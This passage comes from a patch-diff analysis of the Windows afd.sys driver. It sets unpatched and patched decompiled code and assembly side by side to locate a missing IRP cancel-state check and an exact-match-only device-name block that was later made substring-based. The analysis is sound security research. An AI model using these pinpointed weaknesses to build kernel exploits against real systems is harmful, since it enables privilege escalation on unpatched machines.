&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Cancel&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* link IRP into [ep+0x70] */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ===== PATCHED AfdSanFastCompleteRequest @ 0x1C0081030 =====&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Cancel&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cancel_path&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;// [irp+0x44]&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_623580472__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BYTE&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x91&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// NEW post-cancel state check&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cancel_path&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="cm"&gt;/* link IRP into [ep+0x70] */&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding #3 — TDI device-name validation&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ===== UNPATCHED AfdIsValidTdiDeviceName @ 0x1C000896C =====&lt;/span&gt;
&lt;span class="n"&gt;RtlInitUnicodeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;blocked&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AfdTdiInvalidDeviceNames&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RtlEqualUnicodeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;blocked&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;callerName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/*CaseInsensitive*/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FALSE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// blocked (exact match only)&lt;/span&gt;

&lt;span class="c1"&gt;// ===== PATCHED AfdIsValidTdiDeviceName @ 0x1C000896C =====&lt;/span&gt;
&lt;span class="n"&gt;RtlInitUnicodeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;blocked&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AfdTdiInvalidDeviceNames&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_2480880955__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;hit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RtlFindUnicodeSubstring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;callerName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;blocked&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// substring&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;hit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RtlEqualUnicodeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;blocked&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;callerName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// exact&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FALSE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// blocked&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Finding #1 — &lt;code&gt;AfdSanRedirectRequest&lt;/code&gt; (unpatched, &lt;code&gt;0x1C0080198&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;The queuing path, as it exists in the unpatched binary:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00801D3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;KeAcquireInStackQueuedSpinLock&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; lock [ep+0x30]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00801DF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;AFDh&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00801E4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; ep signature == 0x1AFD?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00801E7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C0080387&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00801ED&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; ep state == 4?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00801F1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C0080387&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00801F7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="no"&gt;Ch&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; ep status&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00801FD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;103&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_PENDING?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0080203&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0080263&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0080205&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C0000016h&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_MORE_PROCESSING_REQUIRED?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C008020B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0080263&lt;/span&gt;
&lt;span class="c1"&gt;; ...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C008026B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;78&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; IRP-&amp;gt;Information = 0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C008026F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;AfdSanCancelRequest&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0080276&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xchg&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;68&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; IRP-&amp;gt;CancelRoutine = AfdSanCancelRequest&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C008027A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; IRP-&amp;gt;Cancel?  (the ONLY gate)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C008027E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;A8h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0080285&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00802D6&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; not cancelled -&amp;gt; queue&lt;/span&gt;
&lt;span class="c1"&gt;; ... cancel path completes with STATUS_CANCELLED ...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00802D6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;B8h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00802DD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;or&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00802E1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;70&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; &amp;amp;ep pending list&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00802E5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00802E9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; list integrity&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00802EC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00802F5&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00802EE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00802F3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;int&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;; RtlFailFast if list corrupt&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00802F5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; link IRP into pending list&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00802F8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00802FC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00802FF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0080308&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;KeReleaseInStackQueuedSpinLock&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0080380&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;103&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; return STATUS_PENDING&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;There is no read of &lt;code&gt;[rsi+0x91]&lt;/code&gt; anywhere in this build — the offset does not exist in the unpatched code.&lt;/p&gt;
&lt;h3&gt;Patched side (the added gate), &lt;code&gt;AfdSanRedirectRequest&lt;/code&gt; @ &lt;code&gt;0x1C0082338&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C008241A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; IRP-&amp;gt;Cancel&lt;/span&gt;
